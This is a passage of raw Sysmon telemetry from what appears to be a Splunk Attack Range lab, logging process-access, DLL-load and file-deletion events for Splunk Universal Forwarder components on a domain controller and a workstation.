Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000057624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.444{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:19.445{7BD73061-755B-613B-BA0B-00000000F001}6624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018469Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:10:20.755{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=509C7B5E8637A52D373A8179C3898756,SHA256=2B1AABF9B250DF45AF7AAD7A75CB1ED0A2B3F0AE7155E323732A813528E86551,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000057775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.960{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000057774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.960{7BD73061-755C-613B-BC0B-00000000F001}42565340C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.960{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.960{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000057771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.913{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6161D8B68F5B63EA90F8A1864F4C3DDE,SHA256=5942B29829F624161F3CBA5E244E628B28DCA2270732B26DAADC29EA2A4F0562,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000057770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.884{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0B485C9E62222F91ACE4F7E1868ECA74,SHA256=2595D9ADFF0CAD34929263CD8A20F2F3E31FBF3AA5B1464D79A58EA54CA53E26,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000057769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.788{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.788{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.788{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.788{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.772{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.772{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.772{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.772{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000057750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program 